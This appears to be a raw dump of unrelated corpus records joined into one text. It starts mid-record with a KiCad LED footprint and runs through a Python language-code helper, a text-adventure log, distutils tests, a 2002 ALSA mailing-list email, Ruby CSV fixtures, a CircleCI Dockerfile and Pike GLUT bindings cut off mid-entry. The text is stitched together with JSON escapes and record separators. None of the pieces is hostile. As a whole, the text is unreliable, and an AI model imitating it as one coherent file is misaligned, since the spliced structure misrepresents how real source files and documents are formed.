(tedit 5E7E488C)\n (descr \"Cree XHP70 LED, 12V version, http://www.cree.com/~/media/Files/Cree/LED%20Components%20and%20Modules/XLamp/Data%20and%20Binning/ds%20XHP70.pdf\")\n (tags \"LED Cree XHP70\")\n (attr smd)\n (fp_text reference REF** (at 0 -4.4) (layer F.SilkS)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_text value LED_Cree-XHP70_12V (at 0 4.4) (layer F.Fab)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_line (start -0.5 1) (end -1.75 1.75) (layer F.Fab) (width 0.1))\n (fp_line (start -0.5 2.5) (end -0.5 1) (layer F.Fab) (width 0.1))\n (fp_line (start -1.75 1.75) (end -0.5 2.5) (layer F.Fab) (width 0.1))\n (fp_line (start -1.75 1.75) (end -1.75 2.5) (layer F.Fab) (width 0.1))\n (fp_line (start -1.75 1.75) (end -1.75 1) (layer F.Fab) (width 0.1))\n (fp_line (start -2.75 1.75) (end -1.75 1.75) (layer F.Fab) (width 0.1))\n (fp_line (start 0.5 1) (end 0.5 2.5) (layer F.Fab) (width 0.1))\n (fp_line (start 0.5 1.75) (end 1.75 1) (layer F.Fab) (width 0.1))\n (fp_line (start 1.75 2.5) (end 0.5 1.75) (layer F.Fab) (width 0.1))\n (fp_line (start 1.75 1.75) (end 1.75 2.5) (layer F.Fab) (width 0.1))\n (fp_line (start 1.75 1.75) (end 1.75 1) (layer F.Fab) (width 0.1))\n (fp_line (start 2.75 1.75) (end 1.75 1.75) (layer F.Fab) (width 0.1))\n (fp_line (start -0.5 1.75) (end 0.5 1.75) (layer F.Fab) (width 0.1))\n (fp_line (start 3.5 -3.5) (end -3.5 -3.5) (layer F.Fab) (width 0.1))\n (fp_line (start -3.5 -3.5) (end -3.5 3.5) (layer F.Fab) (width 0.1))\n (fp_line (start -3.5 3.5) (end 3.5 3.5) (layer F.Fab) (width 0.1))\n (fp_line (start 3.5 3.5) (end 3.5 -3.5) (layer F.Fab) (width 0.1))\n (fp_line (start 3.7 -3.7) (end -3.7 -3.7) (layer F.CrtYd) (width 0.05))\n (fp_line (start -3.7 -3.7) (end -3.7 3.7) (layer F.CrtYd) (width 0.05))\n (fp_line (start -3.7 3.7) (end 3.7 3.7) (layer F.CrtYd) (width 0.05))\n (fp_line (start 3.7 3.7) (end 3.7 -3.7) (layer F.CrtYd) (width 0.05))\n (fp_line (start 1.5 3.6) (end -3.6 3.6) (layer F.SilkS) (width 0.12))\n (fp_line (start -3.6 3.6) (end -3.6 2.6) (layer F.SilkS) (width 0.12))\n (fp_line (start 1.5 -3.6) (end -3.6 -3.6) (layer F.SilkS) (width 0.12))\n (fp_line (start -3.6 -3.6) (end -3.6 -2.6) (layer F.SilkS) (width 0.12))\n (fp_line (start 2.75 -1.75) (end 1.75 -1.75) (layer F.Fab) (width 0.1))\n (fp_line (start 1.75 -1.75) (end 1.75 -2.5) (layer F.Fab) (width 0.1))\n (fp_line (start 1.75 -1.75) (end 1.75 -1) (layer F.Fab) (width 0.1))\n (fp_line (start 1.75 -1) (end 0.5 -1.75) (layer F.Fab) (width 0.1))\n (fp_line (start 0.5 -1.75) (end 1.75 -2.5) (layer F.Fab) (width 0.1))\n (fp_line (start 0.5 -2.5) (end 0.5 -1) (layer F.Fab) (width 0.1))\n (fp_line (start -2.75 -1.75) (end -1.75 -1.75) (layer F.Fab) (width 0.1))\n (fp_line (start -1.75 -1.75) (end -1.75 -2.5) (layer F.Fab) (width 0.1))\n (fp_line (start -1.75 -1.75) (end -1.75 -1) (layer F.Fab) (width 0.1))\n (fp_line (start -1.75 -1.75) (end -0.5 -1) (layer F.Fab) (width 0.1))\n (fp_line (start -0.5 -1) (end -0.5 -2.5) (layer F.Fab) (width 0.1))\n (fp_line (start -0.5 -2.5) (end -1.75 -1.75) (layer F.Fab) (width 0.1))\n (fp_line (start -0.5 -1.75) (end 0.5 -1.75) (layer F.Fab) (width 0.1))\n (fp_line (start -2.75 -1.75) (end -2.75 0) (layer F.Fab) (width 0.1))\n (fp_line (start -2.75 0) (end 2.75 0) (layer F.Fab) (width 0.1))\n (fp_line (start 2.75 0) (end 2.75 1.75) (layer F.Fab) (width 0.1))\n (fp_text user %R (at 0 0) (layer F.Fab)\n (effects (font (size 1 1) (thickness 0.1)))\n )\n (pad 1 smd rect (at -3 1.815) (size 0.7 3.13) (layers F.Cu F.Paste F.Mask))\n (pad 2 smd rect (at 3 -1.815) (size 0.7 3.13) (layers F.Cu F.Paste F.Mask))\n (pad 3 smd rect (at 0 0) (size 3.9 6.76) (layers F.Cu F.Mask))\n (pad 3 smd rect (at 2.65 1.815) (size 1.4 3.13) (layers F.Cu F.Mask))\n (pad 3 smd rect (at -2.65 -1.815) (size 1.4 3.13) (layers F.Cu F.Mask))\n (pad \"\" smd rect (at -3 -1.815) (size 0.7 3.13) (layers F.Paste))\n (pad \"\" smd rect (at 3 1.815) (size 0.7 3.13) (layers F.Paste))\n (pad \"\" smd rect (at -0.77 -2.31) (size 1.29 1.29) (layers F.Paste))\n (pad \"\" smd rect (at 0.77 -2.31) (size 1.29 1.29) (layers F.Paste))\n (pad \"\" smd rect (at -0.77 -0.77) (size 1.29 1.29) (layers F.Paste))\n (pad \"\" smd rect (at 0.77 -0.77) (size 1.29 1.29) (layers F.Paste))\n (pad \"\" smd rect (at -0.77 0.77) (size 1.29 1.29) (layers F.Paste))\n (pad \"\" smd rect (at 0.77 0.77) (size 1.29 1.29) (layers F.Paste))\n (pad \"\" smd rect (at -0.77 2.31) (size 1.29 1.29) (layers F.Paste))\n (pad \"\" smd rect (at 0.77 2.31) (size 1.29 1.29) (layers F.Paste))\n (model ${KISYS3DMOD}/LED_SMD.3dshapes/LED_Cree-XHP70_12V.wrl\n (at (xyz 0 0 0))\n (scale (xyz 1 1 1))\n (rotate (xyz 0 0 0))\n )\n)\n"} +{"text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) Pootle contributors.\n#\n# This file is a part of the Pootle project. It is distributed under the GPL3\n# or later license. See the LICENSE file for a copy of the license and the\n# AUTHORS file for copyright and authorship information.\n\nfrom django.utils.translation import to_locale\n\n\n# these languages need to have their cldr name adjusted for use in ui\n# http://cldr.unicode.org/development/development-process/design-proposals/\\\n# grammar-and-capitalization-for-date-time-elements\nUPPERCASE_UI = [\n \"sv\", \"ca\", \"es\", \"ru\", \"uk\", \"it\", \"nl\", \"pt\", \"pt_PT\", \"cs\", \"hr\"]\n\n\nclass LanguageCode(object):\n\n def __init__(self, code):\n self.code = code\n\n @property\n def normalized(self):\n return self.code.replace(\"_\", \"-\").replace(\"@\", \"-\").lower()\n\n @property\n def base_code(self):\n separator = self.normalized.rfind('-')\n return (\n self.code[:separator]\n if separator >= 0\n else self.code)\n\n def matches(self, other, ignore_dialect=True):\n return (\n (to_locale(self.code)\n == to_locale(other.code))\n or (ignore_dialect\n and (self.base_code\n == (other.base_code))))\n"} +{"text": "\nyou are in the kitchen\nto the south there is the living_room\nyou see nothing\n? what do you want to do\n\nyou are in the library\nto the south there is the hall\nyou see nothing\n? what do you want to do\n\nyou are in the bathroom\nto the south there is the corridor\nyou see nothing\n? what do you want to do\n\nyou are in the veranda\nto the east there is the living_room\nyou see nothing\n? what do you want to do\n\nyou are in the living_room\nto the east there is the hall\nto the north there is the kitchen\nto the west there is the veranda\nyou see nothing\n? what do you want to do\n\nyou are in the hall\nto the east there is the corridor\nto the north there is the library\nto the west there is the living_room\nto the south there is the garden\nyou see nothing\n? what do you want to do\n\nyou are in the corridor\nto the east there is the bedroom\nto the north there is the bathroom\nto the west there is the hall\nto the south there is the studio\nyou see nothing\n? what do you want to do\n\nyou are in the bedroom\nto the west there is the corridor\nyou see nothing\nAlfred is here\n? what do you want to do\n\nyou are in the garden\nto the north there is the hall\nto the south there is the street\nyou see nothing\n? what do you want to do\n\nyou are in the studio\nto the north there is the corridor\nyou see some book -s\n? what do you want to do\n\nyou are in the street\nto the north there is the garden\nyou see nothing\n? what do you want to do\n\nyou are in the bedroom\nto the west there is the corridor\nyou see nothing\nAlfred is here\n? what do you want to do\nbring a book to Alfred\n.x\n\nyou are in the corridor\nto the east there is the bedroom\nto the north there is the bathroom\nto the west there is the hall\nto the south there is the studio\nyou see nothing\n? what do you want to do\n.x\n\nyou are in the studio\nto the north there is the corridor\nyou see some book -s\n? what do you want to do\n.x\nyou take a book\n.x\n\nyou are in the corridor\nto the east there is the bedroom\nto the north there is the bathroom\nto the west there is the hall\nto the south there is the studio\nyou see nothing\n? what do you want to do\n.x\n\nyou are in the bedroom\nto the west there is the corridor\nyou see nothing\nAlfred is here\n? what do you want to do\n.x\nyou give the book to Alfred\n.x\n\n.q\n"} +{"text": "#include \n#include \n\nnamespace StarQuant\n{\n\tstd::unique_ptr strategyFactory(const string& _algo) {\n\t\t/*if (boost::iequals(_algo, \"simplecross\")) {\n\t\t\t//return make_unique();\n\t\t}*/\n\t\treturn nullptr;\n\t}\n}\n"} +{"text": " - Jeśli chcesz monitorować inne pliki, poprostu\n zmień ossec.conf oraz dodaj nowy wpis localfile.\n Wszystkie wyjaśnienia odnośnie konfiguracji\n znajdziesz na http://www.ossec.net .\n \n \n --- Wciśnij ENTER aby kontynuować ---\n \n"} +{"text": "\"\"\"Tests for distutils.dep_util.\"\"\"\nimport unittest\nimport os\nimport time\n\nfrom distutils.dep_util import newer, newer_pairwise, newer_group\nfrom distutils.errors import DistutilsFileError\nfrom distutils.tests import support\nfrom test.support import run_unittest\n\nclass DepUtilTestCase(support.TempdirManager, unittest.TestCase):\n\n def test_newer(self):\n\n tmpdir = self.mkdtemp()\n new_file = os.path.join(tmpdir, 'new')\n old_file = os.path.abspath(__file__)\n\n # Raise DistutilsFileError if 'new_file' does not exist.\n self.assertRaises(DistutilsFileError, newer, new_file, old_file)\n\n # Return true if 'new_file' exists and is more recently modified than\n # 'old_file', or if 'new_file' exists and 'old_file' doesn't.\n self.write_file(new_file)\n self.assertTrue(newer(new_file, 'I_dont_exist'))\n self.assertTrue(newer(new_file, old_file))\n\n # Return false if both exist and 'old_file' is the same age or younger\n # than 'new_file'.\n self.assertFalse(newer(old_file, new_file))\n\n def test_newer_pairwise(self):\n tmpdir = self.mkdtemp()\n sources = os.path.join(tmpdir, 'sources')\n targets = os.path.join(tmpdir, 'targets')\n os.mkdir(sources)\n os.mkdir(targets)\n one = os.path.join(sources, 'one')\n two = os.path.join(sources, 'two')\n three = os.path.abspath(__file__) # I am the old file\n four = os.path.join(targets, 'four')\n self.write_file(one)\n self.write_file(two)\n self.write_file(four)\n\n self.assertEqual(newer_pairwise([one, two], [three, four]),\n ([one],[three]))\n\n def test_newer_group(self):\n tmpdir = self.mkdtemp()\n sources = os.path.join(tmpdir, 'sources')\n os.mkdir(sources)\n one = os.path.join(sources, 'one')\n two = os.path.join(sources, 'two')\n three = os.path.join(sources, 'three')\n old_file = os.path.abspath(__file__)\n\n # return true if 'old_file' is out-of-date with respect to any file\n # listed in 'sources'.\n self.write_file(one)\n self.write_file(two)\n self.write_file(three)\n self.assertTrue(newer_group([one, two, three], old_file))\n self.assertFalse(newer_group([one, two, old_file], three))\n\n # missing handling\n os.remove(one)\n self.assertRaises(OSError, newer_group, [one, two, old_file], three)\n\n self.assertFalse(newer_group([one, two, old_file], three,\n missing='ignore'))\n\n self.assertTrue(newer_group([one, two, old_file], three,\n missing='newer'))\n\n\ndef test_suite():\n return unittest.makeSuite(DepUtilTestCase)\n\nif __name__ == \"__main__\":\n run_unittest(test_suite())\n"} +{"text": "From rpm-list-admin@freshrpms.net Mon Sep 2 12:21:22 2002\nReturn-Path: \nDelivered-To: yyyy@localhost.netnoteinc.com\nReceived: from localhost (localhost [127.0.0.1])\n\tby phobos.labs.netnoteinc.com (Postfix) with ESMTP id ABCBC43F99\n\tfor ; Mon, 2 Sep 2002 07:21:18 -0400 (EDT)\nReceived: from phobos [127.0.0.1]\n\tby localhost with IMAP (fetchmail-5.9.0)\n\tfor jm@localhost (single-drop); Mon, 02 Sep 2002 12:21:18 +0100 (IST)\nReceived: from egwn.net (ns2.egwn.net [193.172.5.4]) by\n dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7TJqAZ26468 for\n ; Thu, 29 Aug 2002 20:52:10 +0100\nReceived: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net\n (8.11.6/8.11.6/EGWN) with ESMTP id g7TJd2J04720; Thu, 29 Aug 2002 21:39:02\n +0200\nReceived: from imf26bis.bellsouth.net (mail126.mail.bellsouth.net\n [205.152.58.86]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id\n g7TJcbJ04352 for ; Thu, 29 Aug 2002 21:38:37 +0200\nReceived: from adsl-157-23-10.msy.bellsouth.net ([66.157.23.10]) by\n imf26bis.bellsouth.net (InterMail vM.5.01.04.19\n 201-253-122-122-119-20020516) with ESMTP id\n <20020829193005.FDGG5735.imf26bis.bellsouth.net@adsl-157-23-10.msy.bellsouth.net>\n for ; Thu, 29 Aug 2002 15:30:05 -0400\nSubject: Re: ALSA (almost) made easy\nFrom: Lance \nTo: rpm-zzzlist@freshrpms.net\nIn-Reply-To: <20020829062638.53279644.matthias@egwn.net>\nReferences: <20020828004215.4bca2588.matthias@rpmforge.net>\n <1030507320.3214.39.camel@herald.dragonsdawn.net>\n <20020828100430.378c3856.matthias@rpmforge.net>\n <1030546780.3214.54.camel@herald.dragonsdawn.net>\n <20020828112645.B13047@ti19>\n <1030551945.10627.4.camel@wanderlust.prognet.com>\n <20020828190006.2200a154.matthias@rpmforge.net>\n <1030576177.6448.1.camel@localhost.localdomain>\n <1030580111.1388.2.camel@localhost.localdomain>\n <20020829062638.53279644.matthias@egwn.net>\nContent-Type: text/plain\nContent-Transfer-Encoding: 7bit\nX-Mailer: Ximian Evolution 1.0.8 (1.0.8-6)\nMessage-Id: <1030649409.4818.4.camel@localhost.localdomain>\nMIME-Version: 1.0\nX-Mailscanner: Found to be clean, Found to be clean\nSender: rpm-zzzlist-admin@freshrpms.net\nErrors-To: rpm-zzzlist-admin@freshrpms.net\nX-Beenthere: rpm-zzzlist@freshrpms.net\nX-Mailman-Version: 2.0.11\nPrecedence: bulk\nReply-To: rpm-zzzlist@freshrpms.net\nList-Help: \nList-Post: \nList-Subscribe: ,\n \nList-Id: Freshrpms RPM discussion list \nList-Unsubscribe: ,\n \nList-Archive: \nX-Original-Date: 29 Aug 2002 14:30:08 -0500\nDate: 29 Aug 2002 14:30:08 -0500\nX-Pyzor: Reported 0 times.\nX-Spam-Status: No, hits=-10.6 required=7.0\n\ttests=FUDGE_MULTIHOP_RELAY,IN_REP_TO,KNOWN_MAILING_LIST,\n\t QUOTED_EMAIL_TEXT,RCVD_IN_MULTIHOP_DSBL,\n\t RCVD_IN_UNCONFIRMED_DSBL,REFERENCES,SPAM_PHRASE_05_08\n\tversion=2.40-cvs\nX-Spam-Level: \n\nThanks Matthias. Actually I got all four speakers with subwoofer\nworking in digital out mode with gamixer.\n(http://www1.tcnet.ne.jp/fmurata/linux/down/)\n\nHowever switching between analog and digital, I'm still baffled. As I\nhave a tuner and cassette deck hooked up to \"Line In\" on a SBLive! 5.1,\nwhich is in analog mode. But digital out works great now!\n\nOn Wed, 2002-08-28 at 23:26, Matthias Saou wrote:\n> Once upon a time, Lance wrote :\n> \n> > Ok, I got ALSA installed and there is no static inbetween mp3s like\n> > before which is great! My setup is digital 4.1 but sound is only coming\n> > from front 2 speakers and subwoofer, rear speakers there is no sound. \n> > Also alsamixer or aumix are unresponsive as well. \n> \n> Maybe you could find more info or tips on the ALSA page for your card?\n> Also, you could try \"alsactl store\", editing /etc/asound.state\" by hand\n> (for me it contains data similar to what I can control with \"alsamixer\")\n> then run \"alsactl restore\" and see if you're able to change what you want\n> that way.\n> \n> Matthias\n> \n> -- \n> Matthias Saou World Trade Center\n> ------------- Edificio Norte 4 Planta\n> System and Network Engineer 08039 Barcelona, Spain\n> Electronic Group Interactive Phone : +34 936 00 23 23\n> \n> _______________________________________________\n> RPM-List mailing list \n> http://lists.freshrpms.net/mailman/listinfo/rpm-list\n-- \n:\n####[ Linux One Stanza Tip (LOST) ]###########################\n\nSub : Finding out files larger than given size LOST #324\n\nTo find out all files in a dir over a given size, try:\nfind /path/to/dir_of_file -type f -size +Nk\n[Where N is a number like 1024 for 1mb, and multiples thereof] \n\n####[Discussions on LIH : 04 Jul 2002]########################\n:\n\n\n_______________________________________________\nRPM-List mailing list \nhttp://lists.freshrpms.net/mailman/listinfo/rpm-list\n\n"} +{"text": "#\n# Copyright (c) 2014, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n#\n\nmodule CSVFixtures\n def csv_header\n %q{Timestamp,PUE,WUE,Temp,humidity,UtilKWh,ITKWh,TotaWaterUsage}\n end\n\n def one_entry\n [\n csv_header,\n \"2012-12-25 03:46:00.000,1.08,0.47,29.6,76.88,297.56,275.16,0.00\"\n ].join(\"\\n\")\n end\n\n def entry_missing\n [\n csv_header,\n \"2012-12-25 03:46:00.000,1.08,,29.6,76.88,297.56,275.16,0.00\"\n ].join(\"\\n\")\n end\nend\n"} +{"text": "###\n### DO NOT MODIFY THIS FILE. THIS FILE HAS BEEN AUTOGENERATED\n###\n\nFROM node:12.14.0-stretch\n\n# make Apt non-interactive\nRUN echo 'APT::Get::Assume-Yes \"true\";' > /etc/apt/apt.conf.d/90circleci \\\n && echo 'DPkg::Options \"--force-confnew\";' >> /etc/apt/apt.conf.d/90circleci\n\nENV DEBIAN_FRONTEND=noninteractive\n\n# Debian Jessie is EOL'd and original repos don't work.\n# Switch to the archive mirror until we can get people to\n# switch to Stretch.\nRUN if grep -q Debian /etc/os-release && grep -q jessie /etc/os-release; then \\\n\trm /etc/apt/sources.list \\\n && echo \"deb http://archive.debian.org/debian/ jessie main\" >> /etc/apt/sources.list \\\n && echo \"deb http://security.debian.org/debian-security jessie/updates main\" >> /etc/apt/sources.list \\\n\t; fi\n\n# Make sure PATH includes ~/.local/bin\n# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=839155\n# This only works for root. The circleci user is done near the end of this Dockerfile\nRUN echo 'PATH=\"$HOME/.local/bin:$PATH\"' >> /etc/profile.d/user-local-path.sh\n\n# man directory is missing in some base images\n# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=863199\nRUN apt-get update \\\n && mkdir -p /usr/share/man/man1 \\\n && apt-get install -y \\\n git mercurial xvfb apt \\\n locales sudo openssh-client ca-certificates tar gzip parallel \\\n net-tools netcat unzip zip bzip2 gnupg curl wget make\n\n\n# Set timezone to UTC by default\nRUN ln -sf /usr/share/zoneinfo/Etc/UTC /etc/localtime\n\n# Use unicode\nRUN locale-gen C.UTF-8 || true\nENV LANG=C.UTF-8\n\n# install jq\nRUN JQ_URL=\"https://circle-downloads.s3.amazonaws.com/circleci-images/cache/linux-amd64/jq-latest\" \\\n && curl --silent --show-error --location --fail --retry 3 --output /usr/bin/jq $JQ_URL \\\n && chmod +x /usr/bin/jq \\\n && jq --version\n\n# Install Docker\n\n# Docker.com returns the URL of the latest binary when you hit a directory listing\n# We curl this URL and `grep` the version out.\n# The output looks like this:\n\n#> # To install, run the following commands as root:\n#> curl -fsSLO https://download.docker.com/linux/static/stable/x86_64/docker-17.05.0-ce.tgz && tar --strip-components=1 -xvzf docker-17.05.0-ce.tgz -C /usr/local/bin\n#>\n#> # Then start docker in daemon mode:\n#> /usr/local/bin/dockerd\n\nRUN set -ex \\\n && export DOCKER_VERSION=$(curl --silent --fail --retry 3 https://download.docker.com/linux/static/stable/x86_64/ | grep -o -e 'docker-[.0-9]*\\.tgz' | sort -r | head -n 1) \\\n && DOCKER_URL=\"https://download.docker.com/linux/static/stable/x86_64/${DOCKER_VERSION}\" \\\n && echo Docker URL: $DOCKER_URL \\\n && curl --silent --show-error --location --fail --retry 3 --output /tmp/docker.tgz \"${DOCKER_URL}\" \\\n && ls -lha /tmp/docker.tgz \\\n && tar -xz -C /tmp -f /tmp/docker.tgz \\\n && mv /tmp/docker/* /usr/bin \\\n && rm -rf /tmp/docker /tmp/docker.tgz \\\n && which docker \\\n && (docker version || true)\n\n# docker compose\nRUN COMPOSE_URL=\"https://circle-downloads.s3.amazonaws.com/circleci-images/cache/linux-amd64/docker-compose-latest\" \\\n && curl --silent --show-error --location --fail --retry 3 --output /usr/bin/docker-compose $COMPOSE_URL \\\n && chmod +x /usr/bin/docker-compose \\\n && docker-compose version\n\n# install dockerize\nRUN DOCKERIZE_URL=\"https://circle-downloads.s3.amazonaws.com/circleci-images/cache/linux-amd64/dockerize-latest.tar.gz\" \\\n && curl --silent --show-error --location --fail --retry 3 --output /tmp/dockerize-linux-amd64.tar.gz $DOCKERIZE_URL \\\n && tar -C /usr/local/bin -xzvf /tmp/dockerize-linux-amd64.tar.gz \\\n && rm -rf /tmp/dockerize-linux-amd64.tar.gz \\\n && dockerize --version\n\nRUN groupadd --gid 3434 circleci \\\n && useradd --uid 3434 --gid circleci --shell /bin/bash --create-home circleci \\\n && echo 'circleci ALL=NOPASSWD: ALL' >> /etc/sudoers.d/50-circleci \\\n && echo 'Defaults env_keep += \"DEBIAN_FRONTEND\"' >> /etc/sudoers.d/env_keep\n\n# BEGIN IMAGE CUSTOMIZATIONS\n\n# END IMAGE CUSTOMIZATIONS\n\nUSER circleci\nENV PATH /home/circleci/.local/bin:/home/circleci/bin:${PATH}\n\nCMD [\"/bin/sh\"]\n"} +{"text": "array func_misc = \n({\n ({ \"glutGetColor\",\"FII\" }), \n // GLfloat glutGetColor(int ndx, int component);\n\n ({ \"glutCreateMenu\", \"IC(I)\" }), \n // int glutCreateMenu(void (GLUTCALLBACK *)(int));\n\n ({ \"glutCreateSubWindow\", \"IIIIII\" }), \n // int glutCreateSubWindow(int win, int x, int y, int width, int height);\n\n ({ \"glutCreateWindow\", \"IS\" }), \n // int glutCreateWindow(const char *title);\n\n ({ \"glutDeviceGet\", \"IE\" }), \n // int glutDeviceGet(GLenum type);\n\n ({ \"glutEnterGameMode\", \"I\" }), \n // int glutEnterGameMode(void);\n\n ({ \"glutExtensionSupported\",\"IS\" }), \n // int glutExtensionSupported(const char *name);\n\n ({ \"glutGameModeGet\",\"IE\" }), \n // int glutGameModeGet(GLenum mode);\n\n ({ \"glutGet\",\"IE\" }), \n // int glutGet(GLenum type);\n\n ({ \"glutGetMenu\",\"I\" }), \n // int glutGetMenu(void);\n\n ({ \"glutGetModifiers\",\"I\" }), \n // int glutGetModifiers(void);\n\n ({ \"glutGetWindow\",\"I\" }), \n // int glutGetWindow(void);\n\n ({ \"glutLayerGet\",\"IE\" }), \n // int glutLayerGet(GLenum type);\n\n ({ \"glutVideoResizeGet\",\"IE\" }), \n // int glutVideoResizeGet(GLenum param);\n\n ({ \"glutAddMenuEntry\",\"VSI\" }), \n // void glutAddMenuEntry(const char *label, int value);\n\n ({ \"glutAddSubMenu\",\"VSI\" }), \n // void glutAddSubMenu(const char *label, int submenu);\n\n ({ \"glutAttachMenu\",\"VI\" }), \n // void glutAttachMenu(int button);\n\n ({ \"glutButtonBoxFunc\",\"VC(II)\" }), \n // void glutButtonBoxFunc(void (GLUTCALLBACK * func)(int button, int state));\n\n ({ \"glutChangeToMenuEntry\",\"VISI\" }), \n // void glutChangeToMenuEntry(int item, const char *label, int value);\n\n ({ \"glutChangeToSubMenu\",\"VISI\" }), \n // void glutChangeToSubMenu(int item, const char *label, int submenu);\n\n ({ \"glutCopyColormap\",\"VI\" }), \n // void glutCopyColormap(int win);\n\n ({ \"glutDestroyMenu\",\"VI\" }), \n // void glutDestroyMenu(int menu);\n\n ({ \"glutDestroyWindow\",\"VI\" }), \n // void glutDestroyWindow(int win);\n\n ({ \"glutDetachMenu\",\"VI\" }), \n // void glutDetachMenu(int button);\n\n ({ \"glutDialsFunc\",\"VC(II)\" }), \n // void glutDialsFunc(void (GLUTCALLBACK * func)(int dial, int value));\n\n ({ \"glutDisplayFunc\",\"VC()\" }), \n // void glutDisplayFunc(void (GLUTCALLBACK * func)(void));\n\n ({ \"glutEntryFunc\",\"VC(I)\" }), \n // void glutEntryFunc(void (GLUTCALLBACK * func)(int state));\n\n ({ \"glutEstablishOverlay\",\"V\" }), \n // void glutEstablishOverlay(void);\n\n ({ \"glutForceJoystickFunc\",\"V\" }), \n // void glutForceJoystickFunc(void);\n\n ({ \"glutFullScreen\",\"V\" }), \n // void glutFullScreen(void);\n\n ({ \"glutGameModeString\",\"VS\" }), \n // void glutGameModeString(const char *string);\n\n ({ \"glutHideOverlay\",\"V\" }), \n // void glutHideOverlay(void);\n\n ({ \"glutHideWindow\",\"V\" }), \n // void glutHideWindow(void);\n\n ({ \"glutIconifyWindow\",\"V\" }), \n // void glutIconifyWindow(void);\n\n ({ \"glutIdleFunc\",\"VC()\" }), \n // void glutIdleFunc(void (GLUTCALLBACK * func)(void));\n\n ({ \"glutIgnoreKeyRepeat\",\"VI\" }), \n // void glutIgnoreKeyRepeat(int ignore);\n\n// ({ \"glutInit\",\"VII\" }), \n // void glutInit(int *argcp, char **argv);\n\n ({ \"glutInitDisplayMode\",\"VU\" }), \n // void glutInitDisplayMode(unsigned int mode);\n\n ({ \"glutInitDisplayString\",\"VS\" }), \n // void glutInitDisplayString(const char *string);\n\n ({ \"glutInitWindowPosition\",\"VII\" }), \n // void glutInitWindowPosition(int x, int y);\n\n ({ \"glutInitWindowSize\",\"VII\" }), \n // void glutInitWindowSize(int width, int height);\n\n ({ \"glutJoystickFunc\",\"VC(UIII)I\" }), \n // void glutJoystickFunc(void (GLUTCALLBACK * func)(unsigned int buttonMask, int x, int y, int z), int pollInterval);\n\n ({ \"glutKeyboardFunc\",\"VC(UII)\" }), \n // void glutKeyboardFunc(void (GLUTCALLBACK * func)(unsigned char key, int x, int y));\n\n ({ \"glutKeyboardUpFunc\",\"VC(UII)\" }), \n // void glutKeyboardUpFunc(void (GLUTCALLBACK * func)(unsigned char key, int x, int y));\n\n ({ \"glutLeaveGameMode\",\"V\" }), \n // void glutLeaveGameMode(void);\n\n ({ \"glutMainLoop\",\"V\" }), \n // void glutMainLoop(void);\n\n ({ \"glutMenuStateFunc\",\"VC(I)\" }), \n // void glutMenuStateFunc(void (GLUTCALLBACK * func)(int state));\n\n ({ \"glutMenuStatusFunc\",\"VC(III)\" }), \n // void glutMenuStatusFunc(void (GLUTCALLBACK * func)(int status, int x, int y));\n\n ({ \"glutMotionFunc\",\"VC(II)\" }), \n // void glutMotionFunc(void (GLUTCALLBACK * func)(int x, int y));\n\n ({ \"glutMouseFunc\",\"VC(IIII)\" }), \n // void glutMouseFunc(void (GLUTCALLBACK * func)(int button, int state, int x, int y));\n\n ({ \"glutOverlayDisplayFunc\",\"VC()\" }), \n // void glutOverlayDisplayFunc(void (GLUTCALLBACK * func)(void));\n\n ({ \"glutPassiveMotionFunc\",\"VC(II)\" }), \n // void glutPassiveMotionFunc(void (GLUTCALLBACK * func)(int x, int y));\n\n ({ \"glutPopWindow\",\"V\" }), \n // void glutPopWindow(void);\n\n ({ \"glutPositionWindow\",\"VII\" }), \n // void glutPositionWindow(int x, int y);\n\n ({ \"glutPostOverlayRedisplay\",\"V\" }), \n // void glutPostOverlayRedisplay(void);\n\n ({ \"glutPostRedisplay\",\"V\" }), \n // void glutPostRedisplay(void);\n\n ({ \"glutPostWindowOverlayRedisplay\",\"VI\" }), \n // void glutPostWindowOverlayRedisplay(int win);\n\n ({ \"glutPostWindowRedisplay\",\"VI\" }), \n // void glutPostWindowRedisplay(int win);\n\n ({ \"glutPushWindow\",\"V\" }), \n // void glutPushWindow(void);\n\n ({ \"glutRemoveMenuItem\",\"VI\" }), \n // void glutRemoveMenuItem(int item);\n\n ({ \"glutRemoveOverlay\",\"V\" }), \n // void glutRemoveOverlay(void);\n\n ({ \"glutReportErrors\",\"V\" }), \n // void glutReportErrors(void);\n\n ({ \"glutReshapeFunc\",\"VC(II)\" }), \n // void glutReshapeFunc(void (GLUTCALLBACK * func)(int width, int height));\n\n ({ \"glutReshapeWindow\",\"VII\" }), \n // void glutReshapeWindow(int width, int height);\n\n ({ \"glutSetColor\",\"VIFFF\" }), \n // void glutSetColor(int, GLfloat red, GLfloat green, GLfloat blue);\n\n ({ \"glutSetCursor\",\"VI\" }), \n // void glutSetCursor(int cursor);\n\n ({ \"glutSetIconTitle\",\"VS\" }), \n // void glutSetIconTitle(const char *title);\n\n ({ \"glutSetKeyRepeat\",\"VI\" }), \n // void glutSetKeyRepeat(int repeatMode);\n\n ({ \"glutSetMenu\",\"VI\" }), \n // void glutSetMenu(int menu);\n\n ({ \"glutSetWindow\",\"VI\" }), \n // void glutSetWindow(int win);\n\n ({ \"glutSetWindowTitle\",\"VS\" }), \n // void glutSetWindowTitle(const char *title);\n\n ({ \"glutSetupVideoResizing\",\"V\" }), \n // void glutSetupVideoResizing(void);\n\n ({ \"glutShowOverlay\",\"V\" }), \n // void glutShowOverlay(void);\n\n ({ \"glutShowWindow\",\"V\" }), \n // void glutShowWindow(void);\n\n ({ \"glutSolidCone\",\"VRRII\" }), \n // void glutSolidCone(GLdouble base, GLdouble height, GLint slices, GLint stacks);\n\n ({ \"glutSolidCube\",\"VR\" }), \n // void glutSolidCube(GLdouble size);\n\n ({ \"glutSolidDodecahedron\",\"V\" }), \n // void glutSolidDodecahedron(void);\n\n ({ \"glutSolidIcosahedron\",\"V\" }), \n // void glutSolidIcosahedron(void);\n\n ({ \"glutSolidOctahedron\",\"V\" }), \n // void glutSolidOctahedron(void);\n\n ({ \"glutSolidSphere\",\"VRII\" }), \n // void glutSolidSphere(GLdouble radius, GLint slices, GLint 